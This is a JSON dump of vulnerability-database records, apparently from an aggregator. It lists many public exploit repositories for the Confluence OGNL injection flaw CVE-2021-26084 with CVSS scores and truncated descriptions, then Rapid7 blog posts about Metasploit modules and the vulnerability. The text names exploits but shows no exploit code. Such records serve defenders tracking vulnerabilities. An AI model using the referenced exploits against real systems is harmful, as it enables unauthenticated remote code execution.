"AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-07-25T01:08:52", "id": "24774A85-D9E4-55DC-8D1F-EC48351B23C1", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-13T09:42:12", "description": "# CVE-2021-26084 (PoC) | Confluence Server Webwork OGNL injectio...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-31T23:33:44", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-01-13T08:40:52", "id": "45606E7F-5EF6-5B64-B81C-F4C556A8DE08", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:36:37", "description": "# Confluence Server Webwork Pre-Auth OGNL Injection (CVE-2021-26...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-02T03:11:50", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-10-02T03:16:43", "id": "CE477D7E-7586-5C82-8DCC-033C48461E66", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-09T03:11:18", "description": "# CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection\n### U...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-01T07:45:55", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-08-08T09:54:38", "id": "47577DF3-ABF2-57F3-A35B-0496F4EE7DD9", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-10T20:53:20", "description": "# CVE-2021-26084\nProof of concept for CVE-2021-26084. \n\nConfluen...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-01T15:19:19", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-05-25T14:48:53", "id": "BFA4DC64-759A-5113-842C-923C98D12B44", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:51", "description": "# CVE-2021-26084-Confluence-OGNL\nasjhdsajdlksavksapfokaajsdlksaj...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-06T06:55:15", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-06T06:58:34", "id": "C58D4A9D-FE17-5F41-8B1B-800E327BB411", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-17T02:16:35", "description": "* CVE-2021-26084\n--------\n** Description\n - POC of CVE-2021-2...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-13T06:29:51", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2023-09-16T21:50:25", "id": "C0A9F032-9822-59DC-94CC-20C15DEE0FED", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-15T21:40:16", "description": "# CVE-2021-26084 - Confluence Server Webwork OGNL injection\n\n- A...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-01T07:15:17", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-08-15T15:41:32", "id": "1E5E573E-3F0A-5243-BE87-314E2BDC4107", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-06-10T20:49:37", "description": "# CVE-2021-26084_PoC...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-18T07:33:24", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-12-01T09:03:37", "id": "2BE90BD5-68B3-521E-B2DF-923D04CC1189", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-18T09:24:55", "description": "# CVE-2021-26084\n\n- An OGNL injection vulnerability exists that ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-05T09:27:55", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-11-16T03:56:14", "id": "4A995433-D0C6-5BF7-9A78-962229397A7D", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-09-11T11:54:52", "description": "# CVE-2021-26084-EXP\r\n\r\nThis code is an exploit for the CVE-2021...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-07-03T07:31:29", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2023-09-11T11:40:35", "id": "5CB77852-699B-52CD-AF0E-AFD2DE82A2B2", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-27T15:45:35", "description": "# CVE-2021-26084\nCVE-2021-26084\uff0cAtlassian Confluence OGNL\u6ce8\u5165\u6f0f\u6d1e\n\nA...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-26T06:01:38", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence Server", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2022-09-03T22:05:44", "id": "3E0FF5E7-F93E-588A-B40A-B3381FB12F73", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-27T07:37:58", "description": "# CVE-2021-26084 \n\n# Introduction\nThis write-up provides an over...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T23:24:24", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2018-11776"], "modified": "2021-11-23T15:51:23", "id": "3926D602-9F67-5EF7-B2D1-A6B2716E1DF5", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-01-27T08:30:10", "description": "# CVE-2021-26084 \n\n# Introduction\nThis write-up provides an over...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T23:24:24", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776", "CVE-2021-26084"], "modified": "2021-11-23T15:51:23", "id": "CD8CABD7-BE65-5434-B682-F73ABA737C65", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-02-10T00:00:00", "description": "# CVE-2021-26084 \n\n# Introduction\nThis write-up provides an over...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-06T23:24:24", "type": "githubexploit", "title": "Exploit for Injection in Atlassian Confluence", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2018-11776"], "modified": "2021-11-23T15:51:23", "id": "4B524E35-6179-5923-8FEE-CFFDB1F046D9", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-04-01T04:37:44", "description": "# PocList\r\n\r\n\u81ea\u5199\u7684\u6f0f\u6d1ePOC\u548cEXP\u5408\u96c6\u3002\r\n\r\nPOC\u811a\u672c\u6307\u5b9aurl\u6587\u4ef6\u540e\uff0c\u53ef\u591a\u7ebf\u7a0b\u6279\u91cf\u626b\u63cf\u76ee\u6807\u8fdb\u884c\u9a8c\u8bc1\uff1bEXP...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-22T05:06:33", "type": "githubexploit", "title": "Exploit for OS Command Injection in Zeroshell", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12725", "CVE-2021-26084", "CVE-2021-36749"], "modified": "2022-04-01T01:33:01", "id": "B992B3E1-DF6B-5594-8A16-ED385E07A24C", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-04-05T16:21:50", "description": "# Log4j Threat Hunting and Incident Response Resources\n\n## Lates...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-09T08:22:24", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Apache Log4J", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-34473", "CVE-2021-44228"], "modified": "2022-01-10T19:21:49", "id": "3DF3AA17-94C8-5E17-BCB8-F806D1746CDF", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "rapid7blog": [{"lastseen": "2021-10-22T15:05:39", "description": "## We just couldn't contain ourselves!\n\n\n\nThis week we've got two Kubernetes modules coming at you from [adfoster-r7](<https://github.com/adfoster-r7>) and [smcintyre-r7](<https://github.com/smcintyre-r7>). First up is an enum module `auxiliary/cloud/kubernetes/enum_kubernetes` that'll extract a variety of information including the namespaces, pods, secrets, service token information, and the Kubernetes environment version! Next is an authenticated code execution module `exploit/multi/kubernetes/exec` (which shipped with a new websocket implementation, too, by the way) that will spin up a new pod with a Meterpreter payload for you provided you have the Kubernetes JWT token and access to the Kubernetes REST API. These modules can even be run through a compromised container that may be running on the Kubernetes cluster.\n\n## Atlassian Confluence WebWork OGNL Injection gets Windows support\n\nYou might remember [Confluence Server CVE-2021-26084](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis?referrer=blog>) making an appearance in a wrap-up last month, and it's back! Rapid7\u2019s own [wvu-r7](<https://github.com/wvu-r7>) has updated his Confluence Server exploit to support Windows targets.\n\n## New module content (2)\n\n * [Kubernetes Enumeration](<https://github.com/rapid7/metasploit-framework/pull/15786>) by Spencer McIntyre and Alan Foster - This adds a module for enumerating Kubernetes environments. It can be run via an established session within a Kubernetes environment or with an authentication token and target information. It will extract a variety of information including the namespaces, pods, secrets and version.\n * [Kubernetes authenticated code execution](<https://github.com/rapid7/metasploit-framework/pull/15733>) by Spencer McIntyre and Alan Foster - Adds a new `exploit/multi/kubernetes/exec` module. It can be run via an established session within a Kubernetes environment or with an authentication token and target information. The module creates a new pod which will execute a Meterpreter payload to open a new session, as well as mounting the host's file system when possible.\n\n## Enhancements and features\n\n * [#15732](<https://github.com/rapid7/metasploit-framework/pull/15732>) from [dwelch-r7](<https://github.com/dwelch-r7>) \\- Adds terminal size synchronisation for fully interactive shells against Linux environments with `shell -it`. This functionality is behind a feature flag and can be enabled with `features set fully_interactive_shells true`.\n * [#15769](<https://github.com/rapid7/metasploit-framework/pull/15769>) from [wvu-r7](<https://github.com/wvu-r7>) \\- Added Windows support to the Atlassian Confluence CVE-2021-26084 exploit.\n * [#15773](<https://github.com/rapid7/metasploit-framework/pull/15773>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Adds a collection of useful commands for configuring a local or remote Kubernetes environment to aid with testing and exploring Metasploit's Kubernetes modules and pivoting capabilities. The resource files include deploying two vulnerable applications, and populating secrets which can be extracted and stored as loot, as well as utility commands for creating admin and service account tokens.\n\n## Bugs fixed\n\n * [#15760](<https://github.com/rapid7/metasploit-framework/pull/15760>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Fixes an issue when attempting to store JSON loot, where the extension was always being set to `bin` instead of `json`.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.10...6.1.11](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-10-13T09%3A47%3A12-05%3A00..2021-10-21T11%3A22%3A54-04%3A00%22>)\n * [Full diff 6.1.10...6.1.11](<https://github.com/rapid7/metasploit-framework/compare/6.1.10...6.1.11>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-10-22T14:25:55", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26084"], "modified": "2021-10-22T14:25:55", "id": "RAPID7BLOG:755102CA788DC2D430C6890A3E9B1040", "href": "https://blog.rapid7.com/2021/10/22/metasploit-wrap-up-135/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-07T15:01:26", "description": "\n\n_This attack is ongoing. See the `Updates` section at the end of this post for new information as it comes to light._\n\nOn August 25, 2021, Atlassian [published details](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) on [CVE-2021-26084](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084/rapid7-analysis?referrer=blog>), a critical remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability arises from an OGNL injection flaw and allows unauthenticated attackers to execute arbitrary code on Confluence Server or Data Center instances. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\n\nProof-of-concept exploit 